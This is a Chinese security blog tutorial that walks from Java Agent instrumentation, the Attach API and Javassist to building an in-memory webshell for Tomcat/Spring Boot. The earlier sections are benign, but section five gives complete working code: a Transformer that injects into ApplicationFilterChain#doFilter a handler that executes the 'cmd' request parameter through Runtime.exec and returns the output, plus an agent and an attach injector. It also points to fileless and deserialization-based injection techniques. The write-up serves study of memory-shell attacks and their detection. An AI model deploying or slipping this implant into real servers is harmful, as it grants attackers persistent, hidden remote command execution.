freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

从Java Agent到内存马
2023-05-26 11:07:24
所属地 河北省

一、初识Java Agent

参考:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html

Java Agent 当中,核心的作用是进行 bytecode instrumentation(字节码插桩)

1.Java Agent启动方式

对于.class文件修改(插桩)有三种不同的时机
image-20230515205703449.png
图片引用自:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html
Java Agent只关注正在加载和加载后的情况

对应这两种时机,有两种启动Java Agent的方式

  • 命令行(Command Line)启动 <= Load-Time Instrumentation

java -cp ./target/classes/ -javaagent:./target/TheAgent.jar sample.Program
  • 通过虚拟机提供的 Attach机制来启动 <= Dynamic Instrumentation

import com.sun.tools.attach.VirtualMachine;

public class VMAttach {
    public static void main(String[] args) throws Exception {
        String pid = "1234";
        String agentPath = "D:\\git-repo\\learn-java-agent\\target\\TheAgent.jar";
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent(agentPath);
        vm.detach();
    }
}

2.了解Agent Jar

参考:https://lsieun.github.io/java-agent/s01ch01/agent-jar-three-core-components.html
image-20230515213920913.png
manifest文件中的属性会在agent启动时被加载,我这里介绍常用的属性(与 Java Agent 相关的属性有6、7个):

  • Premain-Class: 在JVM启动时指定代理时,此属性指定代理类。也就是说,包含premain方法的类。当在JVM启动时指定代理时,此属性是必需的。如果该属性不存在,JVM将中止。注意:这是一个类名,而不是一个文件名或路径。

  • Agent-Class: 如果实现支持在VM启动后某个时间启动代理的机制,则此属性指定代理类。也就是说,包含agentmain方法的类。这个属性是必需的,如果没有它,代理将不会启动。注意:这是一个类名,而不是文件名或路径。

  • Can-Redefine-Classes: 布尔值(true或false,与大小写无关)。是重新定义此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。

  • Can-Retransform-Classes: 布尔值(真或假,与大小写无关)。是重新转换此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。

  • Can-Set-Native-Method-Prefix: 布尔值(真或假,大小写无关)。是设置此代理所需的本地方法前缀的能力。真以外的值被认为是假的。此属性是可选的,默认值为false。

3.Java Agent 的实现原理

JVM 在类加载时触发 JVMTI_EVENT_CLASS_FILE_LOAD_HOOK 事件调用添加的字节码转换器完成字节码转换

JVMTI(JVM Tool Interface)是 JVM 暴露出来给用户扩展使用的接口集合,JVMTI 是基于事件驱动的,JVM每执行一定的逻辑就会调用一些事件的回调接口,这些接口可以给用户自行扩展来实现自己的逻辑。

参考时序图
image-20230517184657689.png

二、使用Agent dump JVM中的Class

参考:Java Agent通灵之术

1.准备工作

注意:以下代码均使用JDK1.8

创建目录结构

JAgentTest
 ├── application
 │   ├── out
 │   │   └── sample
 │   └── src
 │       └── sample
 │           ├── HelloWorld.java
 │           └── Program.java
 ├── java-agent
 │   ├── out
 │   └── src
 │       ├── ClassDumpAgent.java
 │       ├── ClassDumpTransformer.java
 │       ├── ClassDumpUtils.java
 │       └── manifest.txt
 └── tools-attach
     ├── out
     └── src
         └── Attach.java

2.编写一个application

HelloWorld.java

package sample;

public class HelloWorld {
	public static int add(int a, int b) {
		return a+b;
	}

	public static int sub(int a, int b) {
		return a-b;
	}
}

Program.java

package sample;

import java.lang.management.ManagementFactory;
import java.util.Random;
import java.util.concurrent.TimeUnit;


public class Program {
	public static void main(String[] args) throws Exception {
		String nameOfRunningVM = ManagementFactory.getRuntimeMXBean().getName();
		System.out.println(nameOfRunningVM);

		int count = 600;
		for (int i = 0; i < count ; i++ ){
			String info = String.format("|%03d| %s remains %03d seconds", i, nameOfRunningVM, (count-i));
			System.out.println(info);

			Random rand = new Random(System.currentTimeMillis());
			int a = rand.nextInt(10);
			int b = rand.nextInt(10);
			boolean flag = rand.nextBoolean();
			String message;
			if(flag){
				message = String.format("a + b = %d",HelloWorld.add(a,b));
			}else{
				message = String.format("a - b = %d",HelloWorld.sub(a,b));
			}
			System.out.println(message);

			TimeUnit.SECONDS.sleep(1);
		}
	}
}

PowerShell编译运行

javac .\src\sample\*.java -d .\out\
cd out
java sample.Program

3.编写Agent

ClassDumpAgent.java

premain(): 在主程序运行之前的代理程序使用premain()。(Load-Time Instrumentation)

  • agentArgs是函数得到的程序参数,随同”-javaagent”一起传入,传入的是一个字符串

  • Inst是一个java.lang.instrument.Instrumentation的实例,由JVM自动传入

**agentmain():**在主程序运行之后的代理程序使用agentmain()。(Dynamic Instrumentation)

**addTransformer():**注册一个Class文件的转换器,该转换器用于改变class二进制流的数据。

**retransformClasses():**对传入的类(已加载)进行转换

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.List;
import java.util.ArrayList;

/**
 * This is a java.lang.instrument agent to dump .class files
 * from a running Java application.
 */
public class ClassDumpAgent {
	public static void premain(String agentArgs, Instrumentation inst) {
        agentmain(agentArgs, inst);
    }
	public static void agentmain(String agentArgs, Instrumentation inst) {
		System.out.println("agentArgs: " + agentArgs);
		ClassDumpUtils.parseArgs(agentArgs);
		inst.addTransformer(new ClassDumpTransformer(), true);
		// by the time we are attached, the classes to be
        // dumped may have been loaded already.
        // So, check for candidates in the loaded classes.
		Class[] classes = inst.getAllLoadedClasses();
		List<Class> candidates = new ArrayList<>();
		for (Class c : classes) {
            String className = c.getName();

            // 第一步,排除法:不考虑JDK自带的类
            if (className.startsWith("java")) continue;
            if (className.startsWith("javax")) continue;
            if (className.startsWith("jdk")) continue;
            if (className.startsWith("sun")) continue;
            if (className.startsWith("com.sun")) continue;

            // 第二步,筛选法:只留下感兴趣的类(正则表达式匹配)
            boolean isModifiable = inst.isModifiableClass(c);
            boolean isCandidate = ClassDumpUtils.isCandidate(className);
            if (isModifiable && isCandidate) {
                candidates.add(c);
            }

            // 不重要:打印调试信息
            String message = String.format("[DEBUG] Loaded Class: %s ---> Modifiable: %s, Candidate: %s", className, isModifiable, isCandidate);
            System.out.println(message);
        }
        try {
            // 第三步,将具体的class进行dump操作
            // if we have matching candidates, then retransform those classes
            // so that we will get callback to transform.
            if (!candidates.isEmpty()) {
                inst.retransformClasses(candidates.toArray(new Class[0]));

                // 不重要:打印调试信息
                String message = String.format("[DEBUG] candidates size: %d", candidates.size());
                System.out.println(message);
            }
        }
        catch (UnmodifiableClassException ignored) {
        }

	}
}

ClassDumpTransformer.java

  • transform()方法会在 JVM 加载类文件时被调用。具体来说,当 JVM 加载一个类时,它会先将类文件的字节码读入内存,然后将字节码传递给已注册的类转换器(即实现了ClassFileTransformer接口的类),让转换器对其进行修改。(Load-Time Instrumentation)

  • 调用Instrumentation接口的 retransformClasses方法时会触发已注册的类转换器的 transform()方法。具体来说,当retransformClasses方法被调用时,JVM 会将指定的类重新加载,并将其字节码传递给已注册的类转换器进行转换。(Dynamic Instrumentation)

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class ClassDumpTransformer implements ClassFileTransformer {

    public byte[] transform(ClassLoader loader,
                            String className,
                            Class redefinedClass,
                            ProtectionDomain protDomain,
                            byte[] classBytes) {
        // check and dump .class file
        if (ClassDumpUtils.isCandidate(className)) {
            ClassDumpUtils.dumpClass(className, classBytes);
        }

        // we don't mess with .class file, just return null
        return null;
    }

}

ClassDumpUtils.java

import java.io.File;
import java.io.FileOutputStream;
import java.util.regex.Pattern;

public class ClassDumpUtils {
    // directory where we would write .class files
    private static String dumpDir;
    // classes with name matching this pattern will be dumped
    private static Pattern classes;

    // parse agent args of the form arg1=value1,arg2=value2
    public static void parseArgs(String agentArgs) {
        if (agentArgs != null) {
            String[] args = agentArgs.split(",");
            for (String arg : args) {
                String[] tmp = arg.split("=");
                if (tmp.length == 2) {
                    String name = tmp[0];
                    String value = tmp[1];
                    if (name.equals("dumpDir")) {
                        dumpDir = value;
                    }
                    else if (name.equals("classes")) {
                        classes = Pattern.compile(value);
                    }
                }
            }
        }
        if (dumpDir == null) {
            dumpDir = ".";
        }
        if (classes == null) {
            classes = Pattern.compile(".*");
        }
        System.out.println("[DEBUG] dumpDir: " + dumpDir);
        System.out.println("[DEBUG] classes: " + classes);
    }

    public static boolean isCandidate(String className) {
        // ignore array classes
        if (className.charAt(0) == '[') {
            return false;
        }
        // convert the class name to external name
        className = className.replace('/', '.');
        // check for name pattern match
        return classes.matcher(className).matches();
    }

    public static void dumpClass(String className, byte[] classBuf) {
        try {
            // create package directories if needed
            className = className.replace("/", File.separator);
            StringBuilder buf = new StringBuilder();
            buf.append(dumpDir);
            buf.append(File.separatorChar);
            int index = className.lastIndexOf(File.separatorChar);
            if (index != -1) {
                String pkgPath = className.substring(0, index);
                buf.append(pkgPath);
            }
            String dir = buf.toString();
            new File(dir).mkdirs();
            // write .class file
            String fileName = dumpDir + File.separator + className + ".class";
            FileOutputStream fos = new FileOutputStream(fileName);
            fos.write(classBuf);
            fos.close();
            System.out.println("[DEBUG] FileName: " + fileName);
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

}

manifest.txt

Premain-Class: ClassDumpAgent
Agent-Class: ClassDumpAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

编译打包

javac .\src\ClassDump*.java -d .\out\
cp .\src\manifest.txt .\out\
cd out
java -cvfm classdumper.jar .\manifest.txt .\ClassDump*.class

4.编写Attach

将一个Agent Jar与一个正在运行的Application建立联系,需要用到Attach机制:

Attach.java

  • VirtualMachine代表一个 Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了 JVM 枚举Attach动作和 Detach动作(Attach 动作的相反行为,从 JVM 上面解除一个代理)等等 ;

import com.sun.tools.attach.VirtualMachine;

/**
 * Simple attach-on-demand client tool
 * that loads the given agent into the given Java process.
 */
public class Attach {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("usage: java Attach <pid> <agent-jar-full-path> [<agent-args>]");
            System.exit(1);
        }
        // JVM is identified by process id (pid).
        VirtualMachine vm = VirtualMachine.attach(args[0]);
        String agentArgs = (args.length > 2) ? args[2] : null;
        // load a specified agent onto the JVM
        vm.loadAgent(args[1], agentArgs);
        vm.detach();
    }
}

编译打包

javac -cp "%JAVA_HOME%/lib/tools.jar";. src/Attach.java -d out/

运行

java -cp "%JAVA_HOME%/lib/tools.jar";. Attach 11104 D:\Programs\JavaProjects\JAgentTest\java-agent\out\classdumper.jar dumpDir=D:\Programs\JavaProjects\JAgentTest\dump,classes=sample\.HelloWorld

三、使用Agent替换JVM中的类

这次使用IDEA做实验,参考自Y4tacker师傅
image-20230517203835837.png

1. pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>AgentMainTest</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>jar</packaging>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.sunn</groupId>
            <artifactId>tools</artifactId>
            <version>1.8.0</version>
            <scope>system</scope>
            <systemPath>E:/Enviroment/jdk8u121/lib/tools.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.21.0-GA</version>
        </dependency>


    </dependencies>

    <build>

        <pluginManagement>
            <plugins>
                <plugin>

                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-jar-plugin</artifactId>
                    <version>2.2</version>
                    <configuration>
                        <archive>
                            <manifestEntries>
                                <!--改这个为代理类-->
                                <Agent-Class>AgentMain</Agent-Class>
                                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                                <Can-Retransform-Classes>true</Can-Retransform-Classes>
                            </manifestEntries>
                        </archive>
                        <skip>true</skip>
                    </configuration>
                </plugin>
            </plugins>
        </pluginManagement>
    </build>

</project>

2. application

在src/main/java目录下写

//TransClass.java
public class TransClass {
    public int getNumber(){
        System.out.println("我返回1, 求HOOK");
        return 1;
    }
}
//Test.java
public class Test {
    public static void main(String[] args) throws InterruptedException {
        System.out.println(new TransClass().getNumber());
        int count = 0;
        while (true) {
            Thread.sleep(500);
            count++;
            int number = new TransClass().getNumber();
            System.out.println(number);
            if (count >= 10) {
                break;
            }
        }
    }
}

修改TransClass.java为恶意类,编译并将编译后的结果改名为TransClass.class.2

注:编译后的结果在target\classes目录下

//TransClass.class.2
public class TransClass {
    public int getNumber(){
        System.out.println("Hooked by s8ark !!!!!");
        return 2023;
    }
}

3. 编写Agent

写个Transformer,把恶意类路径搞进去

//Transformer.java
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
    public static final String classNumberReturns2 = "D:\\Programs\\JavaProjects\\AgentMainTest\\target\\classes\\TransClass.class.2";

    public static byte[] getBytesFromFile(String fileName) throws Exception {
        FileInputStream fileInputStream = new FileInputStream(new File(fileName));
        byte[] bytes = new byte[1024];
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

        int a;
        while((a = fileInputStream.read(bytes)) != -1) {
            outputStream.write(bytes, 0, a);
        }

        return outputStream.toByteArray();
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (!className.equals("TransClass")){
            return null;
        }else {
            try {
                return getBytesFromFile(classNumberReturns2);
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }
    }
}

写个AgentMain

//AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        inst.addTransformer(new Transformer(), true);
        Class[] classes = inst.getAllLoadedClasses();
        for (Class clazz : classes) {
            if(inst.isModifiableClass(clazz)){
                if (clazz.getName().equals("TransClass")){
                    inst.retransformClasses(clazz);
                }
            }
        }
    }
}

4.编写Attach

//AttachTest.java
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.IOException;
import java.util.List;

public class AttachTest {
    // 一个运行 Attach API 的线程子类
// 每隔半秒时间检查一次所有的 Java 虚拟机
    static class AttachThread extends Thread {
        private final List<VirtualMachineDescriptor> listBefore;

        private final String jar;

        AttachThread(String attachJar, List<VirtualMachineDescriptor> vms) {
            listBefore = vms;  // 记录程序启动时的 VM 集合
            jar = attachJar;
        }

        @Override
        public void run() {
            VirtualMachine vm = null;
            List<VirtualMachineDescriptor> listAfter = null;
            try {
                int count = 0;
                while (true) {
                    listAfter = VirtualMachine.list();
                    for (VirtualMachineDescriptor vmd : listAfter) {
                        if (vmd.displayName().equals("Test")) {
                            System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
                            System.out.println("捕捉到Test进程,准备Hook");
                            vm = VirtualMachine.attach(vmd.id());
                            break;
                        }
                    }
                    Thread.sleep(500);
                    count++;

                    if (null != vm || count >= 10) {
                        break;
                    }
                }
                vm.loadAgent(jar);
                vm.detach();
            } catch (Exception e) {

            }

        }
    }

    public static void main(String[] args) {
        new AttachThread("D:\\Programs\\JavaProjects\\AgentMainTest\\target\\AgentMainTest-1.0-SNAPSHOT.jar", VirtualMachine.list()).start();
    }
}

然后用maven把项目打包到target目录下
image-20230517212555778.png

5. 运行

先运行这个AttachTest后,再运行Test
image-20230517213336716.png
image-20230517213355375.png

四、遇见Javasist

Java Agent程序可以使用Java Instrumentation API或者JVMTI来动态修改Java字节码,但是这种方式需要编写大量的底层代码,操作复杂,容易出错。我们选择使用 Javasist来更加方便、快捷地对Java字节码进行操作。

Javasist提供了动态修改字节码的能力。相比较于其他工具比如ASM,Javasist更加高层,不需要了解字节码文件的结构,但是运行效率不如ASM等更底层的工具。对于初学者而言,Javasist更加友好。

参考自CSDN博客

Javasist的简单使用:

  • 先引入依赖

<dependency>
          <groupId>org.javassist</groupId>
          <artifactId>javassist</artifactId>
          <version>3.20.0-GA</version>
      </dependency>
  • 待增强的类

public class Service {
    public void service(){
        System.out.println("doService");
    }
}
  • 使用Javasist增强Service类

public class JavasistMain {
    public static void main(String[] args) throws Exception {
        // 创建一个ClassPool对象,获取默认的类搜索路径
        ClassPool classPool = ClassPool.getDefault();
        // 从ClassPool对象中获取com.s8ark.service.Service类的CtClass对象
        CtClass clz = classPool.get("com.s8ark.service.Service");

        // 从CtClass对象中获取service方法的CtMethod对象
        CtMethod serviceMethod = clz.getDeclaredMethod("service");
        //在service方法执行前插入一段代码
        serviceMethod.insertBefore("System.out.println(\"Insert before execute!!!\");");
        // 在service方法执行后插入一段代码
        serviceMethod.insertAfter("System.out.println(\"Insert after execute!!!\");");

        // 将修改后的CtClass对象写入到class文件中 clz.writeFile();
        //ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,
        // 最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。
        clz.writeFile();

        Service service = (Service) clz.toClass().newInstance();
        service.service();
    }
}
  • 运行结果

image-20230517220511565.png

  • 反编译Service.class,发现原始类并没有被修改

调用clz.writeFile()后,ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。

我们可以在根目录下找到这个新的class文件,
image-20230518104834635.png

五、初步构造Agent 内存马

经过前面这么长的铺垫,终于来到了令人心动的内存马构造环节!

在前面我们学习了如何构造一个Java Agent、如何使用Attach将agent加载到正在运行的JVM和如何使用Javasist修改字节码, 接下来就可以利用这些知识构造内存马了。我将这部分的学习分为三步:

  • 构造application(一个受害者web应用,我将使用Springboot框架搭建)

  • 编写Agent(包括AgentMain和Transformer),在Transformer中修改目标类字节码

  • 编写Attach(将agent加载到application中)

1.构造application

实验环境:JDK1.8、IDEA、Springboot

@Controller
public class VulnController {
    @ResponseBody
    @RequestMapping("/vuln")
    public String cc11Vuln(){
        return "Hello World";
    }
}

image-20230518170247029.png

以下参考自天下大木头师傅

我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  • 该方法一定会被执行

  • 不会影响正常的业务逻辑

回想我们学习Filter内存马的时候,用户的请求到达Servlet之前,一定会经过 Filter,我们就可以找到ApplicationFilterChain类的doFilter方法
image-20230518172804332.png
同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回

以下是我们学习过的Container使用Pipeline-Valve管道来处理request对象的流程
image-20230428165106021.png

  • 当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的FilterServlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法。

2.编写Agent

我们先定义一个Transformer,在其中使用javassist的 insertBefore将恶意代码插入到前面,从而减少对原程序的功能破坏

//Transformer.java
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer  {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace("/",".");
        //如果被拦截的类是ApplicationFilterChain,那么对其进行字节码动态修改
        if (className.equals(ClassName)){
            // 创建一个ClassPool对象,获取默认的类搜索路径
            ClassPool classPool = ClassPool.getDefault();
            try {
                // 从ClassPool对象中获取ApplicationFilterChain类的CtClass对象
                CtClass clz = classPool.get(className);

                // 从CtClass对象中获取doFilter方法的CtMethod对象
                CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter");
                //在doFilter方法执行前插入一段代码
                //这段代码从HTTP请求中获取名为“cmd”的参数,并将其作为命令在服务器上执行。然后,它将命令的输出发送回HTTP响应。
                doFilterMethod.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = clz.toBytecode();
                // 将 clz 从 classpool 中删除以释放内存
                clz.detach();
                //返回修改后的ApplicationFilterChain类的字节码
                return bytes;
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

然后编写AgentMain注册我们的Transformer ,然后遍历已加载的 class,如果存在ApplicationFilterChain类的话那么就调用 retransformClasses 对其进行重定义。

//AgentMain.java
import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new Transformer(),true);
        Class[] allLoadedClasses = ins.getAllLoadedClasses();

        for (Class clazz : allLoadedClasses) {
            if (clazz.getName().equals(ClassName)){
                try {
                    ins.retransformClasses(new Class[]{clazz});
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

3.编写Attach

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class AttachTest {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String jar = "";
        List<VirtualMachineDescriptor> list =VirtualMachine.list();
        System.out.println("Running JVM list ...");
        // 列出当前有哪些 JVM 进程在运行
        for (VirtualMachineDescriptor vmd : list) {
            if(vmd.displayName().contains("com.example.agent_memhorse.AgentMemhorseApplication")){
                String id = vmd.id();
                System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
                VirtualMachine vm = VirtualMachine.attach(vmd.id());
                vm.loadAgent(jar);
                vm.detach();
                break;
            }
        }
    }


}

4.打包运行

  • 将AgentMain.java和Transformer.java编译打包为jar包

  • 运行受害者application

  • 运行AttachTest

运行AttachTest前
image-20230518183047834.png
运行AttachTest后
image-20230518183115910.png
image-20230518183125516.png

其实学到这里,我们基本了解了内存马的原理,但是实战中很难像我们这样直接执行Attach注入内存马,需要一些利用技巧,下面介绍一下各位师傅提出来的利用技巧。

六、Agent 内存马的利用技巧

  • 上传两个jar包执行

利用“进程注入”实现无文件不死webshell

  • 只上传agent.jar到服务器

利用 cc11 的反序列化漏洞植入内存马

  • 无文件落地agent植入技术

https://xz.aliyun.com/t/10186

https://xz.aliyun.com/t/10075#toc-5

https://tttang.com/archive/1525/

  • 优雅的注入内存马

https://paper.seebug.org/1945/

# web安全 # webshell # Java代码审计 # 内存马
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录